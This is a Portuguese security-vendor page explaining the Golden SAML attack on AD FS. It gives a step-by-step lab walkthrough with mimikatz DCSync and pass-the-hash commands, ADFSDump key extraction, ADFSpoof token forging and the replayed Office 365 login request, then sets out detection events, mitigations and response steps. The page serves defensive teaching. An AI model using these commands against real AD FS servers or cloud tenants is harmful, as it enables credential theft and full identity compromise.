Ataque Golden SAML

Glossário de cibersegurança Catálogo de ataques

Ataque Golden SAML

Golden SAML é semelhante em conceito à técnica de Golden Ticket. A diferença é que, em vez de comprometer o segredo do Active Directory que assina os tickets Kerberos, o adversário compromete o segredo usado para assinar as declarações SAML criadas pelos Serviços de Federação do Active Directory (AD FS), que é frequentemente utilizado para estender a identidade do Active Directory para aplicações na nuvem.

Para um ataque Golden SAML, um adversário deve primeiro comprometer a conta de serviço do AD FS no servidor AD FS. Uma vez autenticado como a conta de serviço do AD FS, eles podem usar ferramentas como ADFSDump para extrair as informações necessárias:
• O certificado de assinatura do token e sua chave privada
• A chave do Gerenciador de Chaves Distribuídas (DKM) do Active Directory
• A lista de serviços para os quais o servidor AD FS está configurado para ser um provedor de identidade

Resumo de Ameaças

Alvo: AD FS e serviços associados

Ferramentas: AAD Internals, ADFSDump, shimit, ADFSpoof, mimikatz

Tática ATT&CK®: Acesso a Credenciais

Técnica ATT&CK: Forjar Credenciais Web: Tokens SAML

Dificuldade

Detecção: Hard

Mitigação: Média

Resposta: Difícil

Tutorial de Ataque: Como funciona o ataque Golden SAML

PASSO 1: Comprometer o serviço AD FS

Um adversário pode usar vários métodos diferentes para comprometer o serviço AD FS. Em geral, qualquer meio de obter acesso administrativo ao servidor AD FS é suficiente. O exemplo abaixo utiliza algumas técnicas: reconhecimento LDAP para descobrir o AD FS, DCSync para exportar os hashes da conta de serviço e, em seguida, Pass the Hash (PtH) para obter uma sessão no Servidor AD FS como a conta de serviço.

Code

      # LDAP reconnaissance for AD FS / AADC Items

## ADFS Uses a Host SPN on the service account for the ADFS Service Portal. If the portal is known (ADFS/STS/FS etc.) it can be discovered

Get-ADObject -filter { ServicePrincipalName -contains “*adfs*” -or ServicePrincipalName -contains “*STS*” -or ServicePrincipalName -contains “*FS*” }

## ADFS User/Service/computer Accounts

Get-ADObject -filter { samaccountname -like “*adfs*” -or description -like “*adfs*” -or description -like “*aadc*” }

# Found GMSA Account named adfssvc$

.\mimikatz.exe “lsadump::dcsync /user:adfssvc$”

# Execute PtH

.\mimikatz.exe “privilege::debug” “sekurlsa::pth /user:aadcsvc$ /domain:domain.local /ntlm:f0f13a15b218cb98d1ada6484e380fe6 /aes256:f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909 /aes128:569afe31a386f460e69e7915895837f8”

Output

      # Command 1 #

DistinguishedNameNameObjectClass ObjectGUID

-------------------------------- ----------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9-8f80-9c9a37006c9b

CN=MSOL_81f4a7929078,CN=Users,DC=domain,DC=local MSOL_81f4a7929078 user38348edf-8a4a-400e-83b4-eb88a57b78a7

# Command 2 #

DistinguishedNameNameObjectClassObjectGUID

------------------------------------------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9…

CN=aadcsvc,CN=Managed Service Accounts,DC=domain,DC=local aadcsvc msDS-GroupManagedServiceAccount f1709f9d-e137-4185.

# Command 3 #

mimikatz(commandline) # lsadump::dcsync /user:domain\da

[DC] 'domain.local' will be the domain

[DC] 'DC.domain.local' will be the DC server

[DC] 'aadcsvc$ ' will be the user account

[rpc] Service: ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN: DA

--- Output truncated ---

Credentials:

Hash NTLM: f0f13a15b218cb98d1ada6484e380fe6

--- Output truncated ---

* Primary:Kerberos-Newer-Keys *

Default Salt : DOMAIN.LOCALDA

Default Iterations : 4096

Credentials

aes256_hmac(4096) : f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909

aes128_hmac(4096) : 569afe31a386f460e69e7915895837f8

# Command 4 #

# New Window Opens for PTH #

PASSO 2: Extraia as informações necessárias

Tendo se autenticado como a conta de serviço do AD FS, o adversário deve agora acessar e exportar as informações necessárias para forjar o token SAML.

Neste exemplo, usaremos a utilidade ADFSDump , que se conecta localmente ao banco de dados do AD FS para extrair o elemento EncryptedPFX das configurações do serviço de assinatura de token e também se conecta ao Active Directory para exportar a chave DKM. Você precisará copiar a saída para arquivos de texto da seguinte forma:

DKMKey.txt conterá a chave DKM.
TKSKey.txt conterá a chave de assinatura de Token.

Code

      ADFSDump.exe

Saída

      _______ ___________ ____

/| / __ \/ ____/ ___// __ \__ ______ ___ ____

/ /| | / / / / /_\__ \/ / / / / / / __ `__ \/ __ \

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /

/_/ |_/_____/_//____/_____/\__,_/_/ /_/ /_/ .___/

/_/

Created by @doughsec

## Extracting Private Key from Active Directory Store

[-] Domain is domain.local

[-] Private Key: 05-77-08-31-87-5E-A4-24-6E-C7-EE-48-64-6F-47-23-EB-D6-56-71-DD-3C-42-D0-DE-6B-58-13-16-DF-CB-57

## Reading Encrypted Signing Key from Database

[-] Encrypted Token Signing Key Begin

AAAAAQAAAAAEEN71Kh/hvD9Jk

--- output truncated---

DeMPt0Myf9vtUZow==

[-] Encrypted Token Signing Key End

## Reading The Issuer Identifier

[-] Issuer Identifier: http://sts.stealthbitslab.com/adfs/services/trust

[-] Detected AD FS 2019

[-] Uncharted territory! This might not work...

## Reading Relying Party Trust Information from Database

[-]

Microsoft Office 365 Identity Platform Worldwide

==================

Enabled: True

Sign-In Protocol: WsFed-SAML (SAML 1.1)

Sign-In Endpoint: https://login.microsoftonline.com/login.srf

Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256

SamlResponseSignatureType: 1;

Identifier: urn:federation:MicrosoftOnline

Access Policy:

Access Policy Parameter:

Issuance Rules: @RuleName = "Issue UPN"

c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"]

=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/claims/UPN"), query = "samAccountName={0};userPrincipalName;{1}", param = regexreplace(c.Value, "(?<domain>[^\\]+)\\(?<user>.+)", "${user}"), param = c.Value);

--- Output Truncated ---

ETAPA 3: Converta as informações recuperadas

Em seguida, o adversário precisa converter as informações em um formato que as ferramentas possam usar:

TKSKey.txt precisa ser decodificado em Base64.
DKMKey.txt precisa ser convertido para valores hexadecimais.

Para realizar isso, eles podem usar ferramentas como HexEdit ou executar o seguinte código no modo terminal em uma máquina Linux:

      # Convert TKSKey.txt to TKSKey.bin

cat TKSKey.txt | base64 -d > TKSKey.bin

# Convert DKMKey.txt to DKMKey.bin

# tr -d "-" -> Deletes all -'s

# xxd -r -p -> Read Hexdump

cat DKMkey.txt | tr -d "-" | xxd -r -p > DKMkey.bin

ETAPA 4: Forje o token Golden SAML

O atacante agora possui todos os detalhes necessários para forjar o token SAML. Este exemplo utiliza a ferramenta ADFSpoof para criar um token Golden SAML para o usuário ADA_Fox@stealthbitslab.com.

Code

      Python3.6 ADFSSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}

Output

      _______ _______________

/| / __ \/ ____/ ___/____ ____ ____ / __/

/ /| | / / / / /_\__ \/ __ \/ __ \/ __ \/ /_

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/

/_/ |_/_____/_//____/ .___/\____/\____/_/

/_/

A tool to for AD FS security tokens

Created by @doughsec

%3Ct%3ARequestSecurityTokenResponse%20xmlns%3At%3D%22http%3A//schemas.xmlsoap.org/

--- output truncated ---

t%3AKeyType%3E%3C/t%3ARequestSecurityTokenResponse%3E

PASSO 5: Use o token Golden SAML para acessar o Office 365

O adversário agora simplesmente precisa usar o token SAML forjado para entrar no Office 365 como ADA_FOX. Isso pode ser feito usando ferramentas como o Burp Suite repetidor para repetir solicitações web: Basta usar a saída da Etapa 4 e as informações de solicitação web abaixo para repetir a solicitação. e depois usar a função “solicitar no navegador” para realizar esta solicitação no navegador. Uma vez que isso esteja completo, o atacante será direcionado para a página de Continuar para a página de login.

Code

      POST /login.srf HTTP/1.1

Host: login.microsoftonline.com

Connection: close

Content-Length: 7962

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

DNT: 1

wa=wsignin1.0&wresult={STEP 4 OUTPUT}

Detectar, Mitigar e Responder

Detectar

Dificuldade: Difícil

É possível detectar sinais de exploração do Golden SAML em dois pontos:

Quando o adversário compromete os segredos de assinatura (Etapa 2)
Quando o adversário usa um token falsificado (Etapa 5)

Detecção durante Comprometimento de Segredo

Como detalhado acima, antes que um atacante possa forjar um token SAML, ele deve comprometer o serviço AD FS e exportar o certificado de assinatura do AD FS e sua chave privada. Os defensores devem prestar atenção a logins incomuns no servidor AD FS, bem como fontes incomuns de autenticação da própria conta de serviço AD FS. Além disso, os seguintes eventos devem ser monitorados para exportações de certificados no Servidor AD FS:

70	Registro de Eventos	Sistema	Informação
70	Microsoft-Windows-CAPI2/Operational	Servidor AD FS	Tentativa de exportação de chave privada (mimikatz)
1007	Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational	Servidor AD FS	Exportações gerais de certificados; sem informação sobre se a chave privada foi exportada
4662	Segurança	Controladores de domínio	Reconhecimento de chave DKM; Quando ObjectName for semelhante a CN=CryptoPolicy,CN=ADFS,CN=Microsoft,CN=Program Data,DC=YourDomain,DC=local e as propriedades contiverem thumbnailPhoto {8d3bca50-1d7e-11d0-a081-00aa006c33ed}
18	Microsoft-Windows-Sysmon/Operational	Servidor AD FS	Conexão Named Pipe com o banco de dados WID não proveniente do executável ADFS. Requer que o Sysmon esteja instalado e configurado corretamente.

Detecção durante o Uso de um Token Falsificado

Para detectar o uso de um token SAML potencialmente falsificado, é necessário um registro central de todos os eventos de autenticação do AD FS e dos provedores de serviços conectados. Esses dados podem então ser correlacionados para determinar se cada autenticação em um aplicativo foi realmente criada pelo serviço AD FS. Quando um token SAML falsificado é utilizado, não haverá evento no servidor AD FS para vincular aos registros de entrada do provedor de serviços.

Os eventos do AD FS são correlacionados usando o ID de Correlação (também conhecido como ID de Atividade) entre eventos com os provedores de serviços. Aqui está um exemplo de um acesso legítimo onde o provedor de serviços tem um ID de Correlação de 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce e existe um evento correspondente para o AD FS que possui o mesmo ID de Correlação.

Auditoria de Token de Aplicativo AD FS

O serviço de Federação emitiu um token válido. Consulte o XML para detalhes.

      Activity ID: 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce

Additional Data

XML: <?xml version="1.0" encoding="utf-16"?>

<AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="AppTokenAudit">

<AuditType>AppToken</AuditType>

<AuditResult>Success</AuditResult>

<FailureType>None</FailureType>

<ErrorCode>N/A</ErrorCode>

<ContextComponents>

<Component xsi:type="ResourceAuditComponent">

<RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>

<ClaimsProvider>AD AUTHORITY</ClaimsProvider>

<UserId>DOMAIN\ADA_FOX</UserId>

</Component>

<Component xsi:type="AuthNAuditComponent">

<PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</PrimaryAuth>

<DeviceAuth>false</DeviceAuth>

<DeviceId>N/A</DeviceId>

<MfaPerformed>false</MfaPerformed>

<MfaMethod>N/A</MfaMethod>

<TokenBindingProvidedId>false</TokenBindingProvidedId>

<TokenBindingReferredId>false</TokenBindingReferredId>

<SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>

</Component>

<Component xsi:type="ProtocolAuditComponent">

<OAuthClientId>N/A</OAuthClientId>

<OAuthGrant>N/A</OAuthGrant>

</Component>

<Component xsi:type="RequestAuditComponent">

<Server>http://sts.stealthbitslab.com/adfs/services/trust</Server>

<AuthProtocol>WSFederation</AuthProtocol>

<NetworkLocation>Intranet</NetworkLocation>

<IpAddress>10.0.0.55</IpAddress>

<ForwardedIpAddress />

<ProxyIpAddress>N/A</ProxyIpAddress>

<NetworkIpAddress>N/A</NetworkIpAddress>

<ProxyServer>N/A</ProxyServer>

<UserAgentString>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36</UserAgentString>

<Endpoint>/adfs/ls/</Endpoint>

</Component>

</ContextComponents>

</AuditBase>

Mitigar

Dificuldade: Média

Proteger servidores AD FS e contas de serviço é de extrema importância ao buscar mitigar ataques Golden SAML. Duas melhores práticas são particularmente úteis:

Não permita que os usuários tenham privilégios administrativos além das fronteiras.
Trate os servidores AD FS com o mesmo nível de segurança que os controladores de domínio

Responder

Dificuldade: Difícil

Se um token Golden SAML for detectado, deve-se presumir um comprometimento total da identidade. No mínimo, vários passos manuais serão necessários, como a rotação do certificado de assinatura do token e a investigação do alcance do comprometimento.

Ative o processo de resposta a incidentes e alerte a equipe de resposta.

Compartilhar em

Ver ataques de cibersegurança relacionados

Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa

Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa

Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa

Ataque Hafnium - Como Funciona e Estratégias de Defesa

Ataques DCSync Explicados: Ameaça à Segurança do Active Directory

Ataque Pass the Hash

Entendendo ataques Golden Ticket

Ataque a Contas de Serviço Gerenciadas por Grupo

Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa

Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção

Ataque de Extração de Senha NTDS.dit

Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa

Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa

Ataque de Password Spraying

Ataque de Extração de Senha em Texto Simples

Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação

Ataques de ransomware ao Active Directory

Desbloqueando o Active Directory com o Ataque Skeleton Key

Movimento Lateral: O que é, Como Funciona e Prevenções

Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los

Por que o PowerShell é tão popular entre os atacantes?

4 ataques a contas de serviço e como se proteger contra eles

Como Prevenir que Ataques de Malware Afetem o Seu Negócio

O que é Credential Stuffing?

Comprometendo o SQL Server com PowerUpSQL

O que são ataques de Mousejacking e como se defender contra eles

Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)

Ataques de Rainbow Table: Como Funcionam e Como se Defender Contra Eles

Um Olhar Abrangente sobre Ataques de Senha e Como Impedi-los

Reconhecimento LDAP

Bypassando MFA com o ataque Pass-the-Cookie

Ataque Silver Ticket